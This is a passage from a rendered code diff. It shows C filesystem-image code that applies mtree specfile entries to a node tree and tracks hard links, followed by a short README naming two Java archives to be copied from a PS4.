free(cur->path);
|
||||
free(cur->name);
|
||||
free(cur);
|
||||
}
|
||||
}
|
||||
#if 0
|
||||
/*
|
||||
* apply_specfile --
|
||||
* read in the mtree(8) specfile, and apply it to the tree
|
||||
* at dir,parent. parameters in parent on equivalent types
|
||||
* will be changed to those found in specfile, and missing
|
||||
* entries will be added.
|
||||
*/
|
||||
void
|
||||
apply_specfile(const char *specfile, const char *dir, fsnode *parent, int speconly)
|
||||
{
|
||||
struct timeval start;
|
||||
FILE *fp;
|
||||
NODE *root;
|
||||
|
||||
assert(specfile != NULL);
|
||||
assert(parent != NULL);
|
||||
|
||||
if (debug & DEBUG_APPLY_SPECFILE)
|
||||
printf("apply_specfile: %s, %s %p\n", specfile, dir, parent);
|
||||
|
||||
/* read in the specfile */
|
||||
if ((fp = fopen(specfile, "r")) == NULL)
|
||||
err(1, "Can't open `%s'", specfile);
|
||||
TIMER_START(start);
|
||||
root = spec(fp);
|
||||
TIMER_RESULTS(start, "spec");
|
||||
if (fclose(fp) == EOF)
|
||||
err(1, "Can't close `%s'", specfile);
|
||||
|
||||
/* perform some sanity checks */
|
||||
if (root == NULL)
|
||||
errx(1, "Specfile `%s' did not contain a tree", specfile);
|
||||
assert(strcmp(root->name, ".") == 0);
|
||||
assert(root->type == F_DIR);
|
||||
|
||||
/* merge in the changes */
|
||||
apply_specdir(dir, root, parent, speconly);
|
||||
|
||||
free_nodes(root);
|
||||
}
|
||||
#endif
|
||||
static void
|
||||
apply_specdir(const char *dir, NODE *specnode, fsnode *dirnode, int speconly)
|
||||
{
|
||||
char path[MAXPATHLEN + 1];
|
||||
NODE *curnode;
|
||||
fsnode *curfsnode;
|
||||
|
||||
assert(specnode != NULL);
|
||||
assert(dirnode != NULL);
|
||||
|
||||
if (debug & DEBUG_APPLY_SPECFILE)
|
||||
printf("apply_specdir: %s %p %p\n", dir, specnode, dirnode);
|
||||
|
||||
if (specnode->type != F_DIR)
|
||||
errx(1, "Specfile node `%s/%s' is not a directory",
|
||||
dir, specnode->name);
|
||||
if (dirnode->type != S_IFDIR)
|
||||
errx(1, "Directory node `%s/%s' is not a directory",
|
||||
dir, dirnode->name);
|
||||
|
||||
apply_specentry(dir, specnode, dirnode);
|
||||
|
||||
/* Remove any filesystem nodes not found in specfile */
|
||||
/* XXX inefficient. This is O^2 in each dir and it would
|
||||
* have been better never to have walked this part of the tree
|
||||
* to begin with
|
||||
*/
|
||||
if (speconly) {
|
||||
fsnode *next;
|
||||
assert(dirnode->name[0] == '.' && dirnode->name[1] == '\0');
|
||||
for (curfsnode = dirnode->next; curfsnode != NULL; curfsnode = next) {
|
||||
next = curfsnode->next;
|
||||
for (curnode = specnode->child; curnode != NULL;
|
||||
curnode = curnode->next) {
|
||||
if (strcmp(curnode->name, curfsnode->name) == 0)
|
||||
break;
|
||||
}
|
||||
if (curnode == NULL) {
|
||||
if (debug & DEBUG_APPLY_SPECONLY) {
|
||||
printf("apply_specdir: trimming %s/%s %p\n", dir, curfsnode->name, curfsnode);
|
||||
}
|
||||
free_fsnodes(curfsnode);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* now walk specnode->child matching up with dirnode */
|
||||
for (curnode = specnode->child; curnode != NULL;
|
||||
curnode = curnode->next) {
|
||||
if (debug & DEBUG_APPLY_SPECENTRY)
|
||||
printf("apply_specdir: spec %s\n",
|
||||
curnode->name);
|
||||
for (curfsnode = dirnode->next; curfsnode != NULL;
|
||||
curfsnode = curfsnode->next) {
|
||||
#if 0 /* too verbose for now */
|
||||
if (debug & DEBUG_APPLY_SPECENTRY)
|
||||
printf("apply_specdir: dirent %s\n",
|
||||
curfsnode->name);
|
||||
#endif
|
||||
if (strcmp(curnode->name, curfsnode->name) == 0)
|
||||
break;
|
||||
}
|
||||
if ((size_t)snprintf(path, sizeof(path), "%s/%s",
|
||||
dir, curnode->name) >= sizeof(path))
|
||||
errx(1, "Pathname too long.");
|
||||
if (curfsnode == NULL) { /* need new entry */
|
||||
struct stat stbuf;
|
||||
|
||||
/*
|
||||
* don't add optional spec entries
|
||||
* that lack an existing fs entry
|
||||
*/
|
||||
if ((curnode->flags & F_OPT) &&
|
||||
lstat(path, &stbuf) == -1)
|
||||
continue;
|
||||
|
||||
/* check that enough info is provided */
|
||||
#define NODETEST(t, m) \
|
||||
if (!(t)) \
|
||||
errx(1, "`%s': %s not provided", path, m)
|
||||
NODETEST(curnode->flags & F_TYPE, "type");
|
||||
NODETEST(curnode->flags & F_MODE, "mode");
|
||||
/* XXX: require F_TIME ? */
|
||||
NODETEST(curnode->flags & F_GID ||
|
||||
curnode->flags & F_GNAME, "group");
|
||||
NODETEST(curnode->flags & F_UID ||
|
||||
curnode->flags & F_UNAME, "user");
|
||||
if (curnode->type == F_BLOCK || curnode->type == F_CHAR)
|
||||
NODETEST(curnode->flags & F_DEV,
|
||||
"device number");
|
||||
#undef NODETEST
|
||||
#define HAVE_STRUCT_STAT_ST_MTIMENSEC 0
|
||||
if (debug & DEBUG_APPLY_SPECFILE)
|
||||
printf("apply_specdir: adding %s\n",
|
||||
curnode->name);
|
||||
/* build minimal fsnode */
|
||||
memset(&stbuf, 0, sizeof(stbuf));
|
||||
stbuf.st_mode = nodetoino(curnode->type);
|
||||
stbuf.st_nlink = 1;
|
||||
stbuf.st_mtime = stbuf.st_atime =
|
||||
stbuf.st_ctime = start_time.tv_sec;
|
||||
#if HAVE_STRUCT_STAT_ST_MTIMENSEC
|
||||
stbuf.st_mtimensec = stbuf.st_atimensec =
|
||||
stbuf.st_ctimensec = start_time.tv_nsec;
|
||||
#endif
|
||||
curfsnode = create_fsnode(".", ".", curnode->name,
|
||||
&stbuf);
|
||||
curfsnode->parent = dirnode->parent;
|
||||
curfsnode->first = dirnode;
|
||||
curfsnode->next = dirnode->next;
|
||||
dirnode->next = curfsnode;
|
||||
if (curfsnode->type == S_IFDIR) {
|
||||
/* for dirs, make "." entry as well */
|
||||
curfsnode->child = create_fsnode(".", ".", ".",
|
||||
&stbuf);
|
||||
curfsnode->child->parent = curfsnode;
|
||||
curfsnode->child->first = curfsnode->child;
|
||||
}
|
||||
if (curfsnode->type == S_IFLNK) {
|
||||
assert(curnode->slink != NULL);
|
||||
/* for symlinks, copy the target */
|
||||
curfsnode->symlink = strdup(curnode->slink);
|
||||
}
|
||||
}
|
||||
apply_specentry(dir, curnode, curfsnode);
|
||||
if (curnode->type == F_DIR) {
|
||||
if (curfsnode->type != S_IFDIR)
|
||||
errx(1, "`%s' is not a directory", path);
|
||||
assert (curfsnode->child != NULL);
|
||||
apply_specdir(path, curnode, curfsnode->child, speconly);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
apply_specentry(const char *dir, NODE *specnode, fsnode *dirnode)
|
||||
{
|
||||
|
||||
assert(specnode != NULL);
|
||||
assert(dirnode != NULL);
|
||||
|
||||
if (nodetoino(specnode->type) != dirnode->type)
|
||||
errx(1, "`%s/%s' type mismatch: specfile %s, tree %s",
|
||||
dir, specnode->name, inode_type(nodetoino(specnode->type)),
|
||||
inode_type(dirnode->type));
|
||||
|
||||
if (debug & DEBUG_APPLY_SPECENTRY)
|
||||
printf("apply_specentry: %s/%s\n", dir, dirnode->name);
|
||||
|
||||
#define ASEPRINT(t, b, o, n) \
|
||||
if (debug & DEBUG_APPLY_SPECENTRY) \
|
||||
printf("\t\t\tchanging %s from " b " to " b "\n", \
|
||||
t, o, n)
|
||||
|
||||
if (specnode->flags & (F_GID | F_GNAME)) {
|
||||
ASEPRINT("gid", "%d",
|
||||
dirnode->inode->st.st_gid, specnode->st_gid);
|
||||
dirnode->inode->st.st_gid = specnode->st_gid;
|
||||
}
|
||||
if (specnode->flags & F_MODE) {
|
||||
ASEPRINT("mode", "%#o",
|
||||
dirnode->inode->st.st_mode & ALLPERMS, specnode->st_mode);
|
||||
dirnode->inode->st.st_mode &= ~ALLPERMS;
|
||||
dirnode->inode->st.st_mode |= (specnode->st_mode & ALLPERMS);
|
||||
}
|
||||
/* XXX: ignoring F_NLINK for now */
|
||||
if (specnode->flags & F_SIZE) {
|
||||
ASEPRINT("size", "%lld",
|
||||
(long long)dirnode->inode->st.st_size,
|
||||
(long long)specnode->st_size);
|
||||
dirnode->inode->st.st_size = specnode->st_size;
|
||||
}
|
||||
if (specnode->flags & F_SLINK) {
|
||||
assert(dirnode->symlink != NULL);
|
||||
assert(specnode->slink != NULL);
|
||||
ASEPRINT("symlink", "%s", dirnode->symlink, specnode->slink);
|
||||
free(dirnode->symlink);
|
||||
dirnode->symlink = strdup(specnode->slink);
|
||||
}
|
||||
if (specnode->flags & F_TIME) {
|
||||
ASEPRINT("time", "%ld",
|
||||
(long)dirnode->inode->st.st_mtime,
|
||||
(long)specnode->st_mtimespec.tv_sec);
|
||||
dirnode->inode->st.st_mtime = specnode->st_mtimespec.tv_sec;
|
||||
dirnode->inode->st.st_atime = specnode->st_mtimespec.tv_sec;
|
||||
dirnode->inode->st.st_ctime = start_time.tv_sec;
|
||||
#if HAVE_STRUCT_STAT_ST_MTIMENSEC
|
||||
dirnode->inode->st.st_mtimensec = specnode->st_mtimespec.tv_nsec;
|
||||
dirnode->inode->st.st_atimensec = specnode->st_mtimespec.tv_nsec;
|
||||
dirnode->inode->st.st_ctimensec = start_time.tv_nsec;
|
||||
#endif
|
||||
}
|
||||
if (specnode->flags & (F_UID | F_UNAME)) {
|
||||
ASEPRINT("uid", "%d",
|
||||
dirnode->inode->st.st_uid, specnode->st_uid);
|
||||
dirnode->inode->st.st_uid = specnode->st_uid;
|
||||
}
|
||||
#if HAVE_STRUCT_STAT_ST_FLAGS
|
||||
if (specnode->flags & F_FLAGS) {
|
||||
ASEPRINT("flags", "%#lX",
|
||||
(unsigned long)dirnode->inode->st.st_flags,
|
||||
(unsigned long)specnode->st_flags);
|
||||
dirnode->inode->st.st_flags = specnode->st_flags;
|
||||
}
|
||||
#endif
|
||||
if (specnode->flags & F_DEV) {
|
||||
ASEPRINT("rdev", "%#llx",
|
||||
(unsigned long long)dirnode->inode->st.st_rdev,
|
||||
(unsigned long long)specnode->st_rdev);
|
||||
dirnode->inode->st.st_rdev = specnode->st_rdev;
|
||||
}
|
||||
#undef ASEPRINT
|
||||
|
||||
dirnode->flags |= FSNODE_F_HASSPEC;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* dump_fsnodes --
|
||||
* dump the fsnodes from `cur'
|
||||
*/
|
||||
void
|
||||
dump_fsnodes(fsnode *root)
|
||||
{
|
||||
fsnode *cur;
|
||||
char path[MAXPATHLEN + 1];
|
||||
|
||||
printf("dump_fsnodes: %s %p\n", root->path, root);
|
||||
for (cur = root; cur != NULL; cur = cur->next) {
|
||||
if (snprintf(path, sizeof(path), "%s/%s", cur->path,
|
||||
cur->name) >= (int)sizeof(path))
|
||||
errx(1, "Pathname too long.");
|
||||
|
||||
if (debug & DEBUG_DUMP_FSNODES_VERBOSE)
|
||||
printf("cur=%8p parent=%8p first=%8p ",
|
||||
cur, cur->parent, cur->first);
|
||||
printf("%7s: %s", inode_type(cur->type), path);
|
||||
if (S_ISLNK(cur->type)) {
|
||||
assert(cur->symlink != NULL);
|
||||
printf(" -> %s", cur->symlink);
|
||||
} else {
|
||||
assert (cur->symlink == NULL);
|
||||
}
|
||||
if (cur->inode->nlink > 1)
|
||||
printf(", nlinks=%d", cur->inode->nlink);
|
||||
putchar('\n');
|
||||
|
||||
if (cur->child) {
|
||||
assert (cur->type == S_IFDIR);
|
||||
dump_fsnodes(cur->child);
|
||||
}
|
||||
}
|
||||
printf("dump_fsnodes: finished %s/%s\n", root->path, root->name);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* inode_type --
|
||||
* for a given inode type `mode', return a descriptive string.
|
||||
* for most cases, uses inotype() from mtree/misc.c
|
||||
*/
|
||||
const char *
|
||||
inode_type(mode_t mode)
|
||||
{
|
||||
|
||||
if (S_ISLNK(mode))
|
||||
return ("symlink"); /* inotype() returns "link"... */
|
||||
return (inotype(mode));
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* link_check --
|
||||
* return pointer to fsinode matching `entry's st_ino & st_dev if it exists,
|
||||
* otherwise add `entry' to table and return NULL
|
||||
*/
|
||||
/* This was borrowed from du.c and tweaked to keep an fsnode
|
||||
* pointer instead. -- dbj@netbsd.org
|
||||
*/
|
||||
static fsinode *
|
||||
link_check(fsinode *entry)
|
||||
{
|
||||
static struct entry {
|
||||
fsinode *data;
|
||||
} *htable;
|
||||
static int htshift; /* log(allocated size) */
|
||||
static int htmask; /* allocated size - 1 */
|
||||
static int htused; /* 2*number of insertions */
|
||||
int h, h2;
|
||||
uint64_t tmp;
|
||||
/* this constant is (1<<64)/((1+sqrt(5))/2)
|
||||
* aka (word size)/(golden ratio)
|
||||
*/
|
||||
const uint64_t HTCONST = 11400714819323198485ULL;
|
||||
const int HTBITS = 64;
|
||||
|
||||
/* Never store zero in hashtable */
|
||||
assert(entry);
|
||||
|
||||
/* Extend hash table if necessary, keep load under 0.5 */
|
||||
if (htused<<1 >= htmask) {
|
||||
struct entry *ohtable;
|
||||
|
||||
if (!htable)
|
||||
htshift = 10; /* starting hashtable size */
|
||||
else
|
||||
htshift++; /* exponential hashtable growth */
|
||||
|
||||
htmask = (1 << htshift) - 1;
|
||||
htused = 0;
|
||||
|
||||
ohtable = htable;
|
||||
htable = calloc(htmask+1, sizeof(*htable));
|
||||
/* populate newly allocated hashtable */
|
||||
if (ohtable) {
|
||||
int i;
|
||||
for (i = 0; i <= htmask>>1; i++)
|
||||
if (ohtable[i].data)
|
||||
link_check(ohtable[i].data);
|
||||
free(ohtable);
|
||||
}
|
||||
}
|
||||
|
||||
/* multiplicative hashing */
|
||||
tmp = entry->st.st_dev;
|
||||
tmp <<= HTBITS>>1;
|
||||
tmp |= entry->st.st_ino;
|
||||
tmp *= HTCONST;
|
||||
h = tmp >> (HTBITS - htshift);
|
||||
h2 = 1 | ( tmp >> (HTBITS - (htshift<<1) - 1)); /* must be odd */
|
||||
|
||||
/* open address hashtable search with double hash probing */
|
||||
while (htable[h].data) {
|
||||
if ((htable[h].data->st.st_ino == entry->st.st_ino) &&
|
||||
(htable[h].data->st.st_dev == entry->st.st_dev)) {
|
||||
return htable[h].data;
|
||||
}
|
||||
h = (h + h2) & htmask;
|
||||
}
|
||||
|
||||
/* Insert the current entry into hashtable */
|
||||
htable[h].data = entry;
|
||||
htused++;
|
||||
return NULL;
|
||||
}
|
||||
5
thirdparty/topsecret/README.txt
vendored
Normal file
5
thirdparty/topsecret/README.txt
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
These files must be retrieved from your PS4 and placed here:
|
||||
|
||||
/app/NPXS20113/bdjstack/bdjstack.jar
|
||||
/app/NPXS20113/bdjstack/lib/rt.jar
|
||||
|
||||
Reference in New Issue
Block a user